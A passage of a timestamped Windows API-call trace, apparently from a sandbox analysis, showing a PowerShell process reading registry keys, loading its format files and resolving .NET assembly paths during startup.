lpType=0x27e830, lpData=0x6f7118, lpcbData=0x27e82c*=0x56 | out: lpType=0x27e830*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e82c*=0x56) returned 0x0 [0096.541] RegCloseKey (hKey=0x324) returned 0x0 [0096.542] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0096.542] GetLastError () returned 0x0 [0096.542] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e324, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0096.542] GetLastError () returned 0x0 [0096.544] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x27ce979d, Data2=0xb64f, Data3=0x4d0a, Data4=([0]=0xae, [1]=0xe3, [2]=0xfc, [3]=0x4f, [4]=0x67, [5]=0x43, [6]=0x12, [7]=0x5e))) returned 0x0 [0096.554] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x2c760ee3, Data2=0xe896, Data3=0x4ba0, Data4=([0]=0x89, [1]=0xf8, [2]=0x35, [3]=0x6f, [4]=0x13, [5]=0x49, [6]=0xf9, [7]=0x4d))) returned 0x0 [0096.562] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xf162396, Data2=0xf44d, Data3=0x41cb, Data4=([0]=0xb5, [1]=0x46, [2]=0xbf, [3]=0xe3, [4]=0xaf, [5]=0x17, [6]=0xfa, [7]=0x25))) returned 0x0 [0096.563] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x5b7ad33a, Data2=0xa113, Data3=0x446e, Data4=([0]=0x9c, [1]=0x7b, [2]=0x73, [3]=0xe9, [4]=0xca, [5]=0xf5, [6]=0xf0, [7]=0xc))) returned 0x0 [0096.563] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xdd138b38, Data2=0x3257, Data3=0x4534, Data4=([0]=0xb9, [1]=0x80, [2]=0x0, [3]=0x68, [4]=0x2a, [5]=0xc4, [6]=0xed, [7]=0x8e))) returned 0x0 [0096.563] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xf2049663, Data2=0x8dc, Data3=0x4e39, Data4=([0]=0x9e, [1]=0x61, [2]=0xfd, [3]=0x46, [4]=0xfa, [5]=0xaf, [6]=0x5d, [7]=0x7e))) returned 0x0 [0096.563] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.563] GetLastError () returned 0x0 [0096.563] SetErrorMode (uMode=0x1) returned 0x1 [0096.564] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x324 [0096.564] GetLastError () returned 0x0 [0096.564] GetFileType (hFile=0x324) returned 0x1 [0096.564] SetErrorMode (uMode=0x1) returned 0x1 [0096.564] GetFileType (hFile=0x324) returned 0x1 [0096.565] ReadFile (in: hFile=0x324, lpBuffer=0x2d62a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d62a70*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.567] GetLastError () returned 0x0 [0096.568] ReadFile (in: hFile=0x324, lpBuffer=0x2d62a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d62a70*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.568] GetLastError () returned 0x0 [0096.569] ReadFile (in: hFile=0x324, lpBuffer=0x2d62a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d62a70*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.569] GetLastError () returned 0x0 [0096.569] ReadFile (in: hFile=0x324, lpBuffer=0x2d62a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d62a70*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.569] GetLastError () returned 0x0 [0096.571] ReadFile (in: hFile=0x324, lpBuffer=0x2d62a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d62a70*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.571] GetLastError () returned 0x0 [0096.571] ReadFile (in: hFile=0x324, lpBuffer=0x2d62a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d62a70*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.571] GetLastError () returned 0x0 [0096.571] ReadFile (in: hFile=0x324, lpBuffer=0x2d62a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d62a70*, lpNumberOfBytesRead=0x27e864*=0xaca, lpOverlapped=0x0) returned 1 [0096.571] GetLastError () returned 0x0 [0096.571] ReadFile (in: hFile=0x324, lpBuffer=0x2d620da, nNumberOfBytesToRead=0x136, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d620da*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.571] GetLastError () returned 0x0 [0096.571] ReadFile (in: hFile=0x324, lpBuffer=0x2d62a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d62a70*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.571] GetLastError () returned 0x0 [0096.571] CloseHandle (hObject=0x324) returned 1 [0096.571] GetLastError () returned 0x0 [0096.572] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.572] GetLastError () returned 0x0 [0096.572] SetErrorMode (uMode=0x1) returned 0x1 [0096.572] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2d83a6c | out: lpFileInformation=0x2d83a6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0096.572] GetLastError () returned 0x0 [0096.572] SetErrorMode (uMode=0x1) returned 0x1 [0096.572] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.572] GetLastError () returned 0x0 [0096.572] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e7e8 | out: phkResult=0x27e7e8*=0x324) returned 0x0 [0096.573] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x0, lpcbData=0x27e82c*=0x0 | out: lpType=0x27e830*=0x1, lpData=0x0, lpcbData=0x27e82c*=0x56) returned 0x0 [0096.573] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x6f7118, lpcbData=0x27e82c*=0x56 | out: lpType=0x27e830*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e82c*=0x56) returned 0x0 [0096.573] RegCloseKey (hKey=0x324) returned 0x0 [0096.573] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.573] GetLastError () returned 0x0 [0096.573] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e324, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.573] GetLastError () returned 0x0 [0096.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a [0096.607] GetLastError () returned 0x0 [0096.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0096.610] GetLastError () returned 0x57 [0096.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0096.622] GetLastError () returned 0x57 [0096.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.624] GetLastError () returned 0x57 [0096.626] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0096.626] GetLastError () returned 0x57 [0096.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", lpFilePart=0x0) returned 0x52 [0096.628] GetLastError () returned 0x57 [0096.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", lpFilePart=0x0) returned 0x74 [0096.630] GetLastError () returned 0x57 [0096.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0096.632] GetLastError () returned 0x57 [0096.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", lpFilePart=0x0) returned 0x60 [0096.633] GetLastError () returned 0x57 [0096.636] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0096.636] GetLastError () returned 0x57 [0096.637] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0096.637] GetLastError () returned 0x57 [0096.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0096.638] GetLastError () returned 0x57 [0096.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", lpFilePart=0x0) returned 0x50 [0096.639] GetLastError () returned 0x57 [0096.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", lpFilePart=0x0) returned 0x5e [0096.640] GetLastError () returned 0x57 [0096.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", lpFilePart=0x0) returned 0x6c [0096.642] GetLastError () returned 0x57 [0096.643] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a [0096.643] GetLastError () returned 0x57 [0096.643] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0096.643] GetLastError () returned 0x57 [0096.643] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0096.643] GetLastError () returned 0x57 [0096.643] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.643] GetLastError () returned 0x57 [0096.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.644] GetLastError () returned 0x57 [0096.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.644] GetLastError () returned 0x57 [0096.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.644] GetLastError () returned 0x57 [0096.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.644] GetLastError () returned 0x57 [0096.678] VirtualQuery (in: lpAddress=0x27d540, lpBuffer=0x27e540, dwLength=0x1c | out: lpBuffer=0x27e540*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.684] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x51601b7a, Data2=0x3909, Data3=0x42d8, Data4=([0]=0xab, [1]=0x81, [2]=0x73, [3]=0x59, [4]=0x2, [5]=0x32, [6]=0xef, [7]=0xb1))) returned 0x0 [0096.685] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x42a64b74, Data2=0x81b8, Data3=0x421c, Data4=([0]=0x9f, [1]=0xd, [2]=0xc9, [3]=0xee, [4]=0xc6, [5]=0xcf, [6]=0x84, [7]=0xac))) returned 0x0 [0096.685] VirtualQuery (in: lpAddress=0x27d5b8, lpBuffer=0x27e5b8, dwLength=0x1c | out: lpBuffer=0x27e5b8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.686] VirtualQuery (in: lpAddress=0x27d5b8, lpBuffer=0x27e5b8, dwLength=0x1c | out: lpBuffer=0x27e5b8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.686] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xb373d453, Data2=0xbcbc, Data3=0x4064, Data4=([0]=0x94, [1]=0x4f, [2]=0x3f, [3]=0xeb, [4]=0xe5, [5]=0xac, [6]=0x2c, [7]=0xf0))) returned 0x0 [0096.693] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x239eb3bd, Data2=0x2f69, Data3=0x462b, Data4=([0]=0xbe, [1]=0x9d, [2]=0xfe, [3]=0xcf, [4]=0x90, [5]=0x55, [6]=0x3e, [7]=0x1c))) returned 0x0 [0096.693] VirtualQuery (in: lpAddress=0x27d6e4, lpBuffer=0x27e6e4, dwLength=0x1c | out: lpBuffer=0x27e6e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.694] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.694] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.694] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xafdfead5, Data2=0xe73f, Data3=0x4f72, Data4=([0]=0xa3, [1]=0x82, [2]=0x55, [3]=0x90, [4]=0xde, [5]=0x39, [6]=0xae, [7]=0xf1))) returned 0x0 [0096.694] VirtualQuery (in: lpAddress=0x27d6e4, lpBuffer=0x27e6e4, dwLength=0x1c | out: lpBuffer=0x27e6e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.695] VirtualQuery (in: lpAddress=0x27d5fc, lpBuffer=0x27e5fc, dwLength=0x1c | out: lpBuffer=0x27e5fc*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.695] VirtualQuery (in: lpAddress=0x27d2b0, lpBuffer=0x27e2b0, dwLength=0x1c | out: lpBuffer=0x27e2b0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.696] VirtualQuery (in: lpAddress=0x27d2b0, lpBuffer=0x27e2b0, dwLength=0x1c | out: lpBuffer=0x27e2b0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.696] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x77ed9127, Data2=0x2cb1, Data3=0x48c2, Data4=([0]=0x9a, [1]=0xab, [2]=0xd3, [3]=0xaf, [4]=0x2e, [5]=0x24, [6]=0xa1, [7]=0x21))) returned 0x0 [0096.696] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xdeea050d, Data2=0xed8a, Data3=0x4f64, Data4=([0]=0xa5, [1]=0x4a, [2]=0x84, [3]=0x26, [4]=0xf9, [5]=0xe8, [6]=0x72, [7]=0xc4))) returned 0x0 [0096.697] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.697] GetLastError () returned 0x57 [0096.697] SetErrorMode (uMode=0x1) returned 0x1 [0096.697] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x324 [0096.697] GetLastError () returned 0x0 [0096.697] GetFileType (hFile=0x324) returned 0x1 [0096.697] SetErrorMode (uMode=0x1) returned 0x1 [0096.698] GetFileType (hFile=0x324) returned 0x1 [0096.698] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.700] GetLastError () returned 0x0 [0096.702] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.702] GetLastError () returned 0x0 [0096.703] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.703] GetLastError () returned 0x0 [0096.703] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.704] GetLastError () returned 0x0 [0096.705] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.705] GetLastError () returned 0x0 [0096.705] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.705] GetLastError () returned 0x0 [0096.705] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, 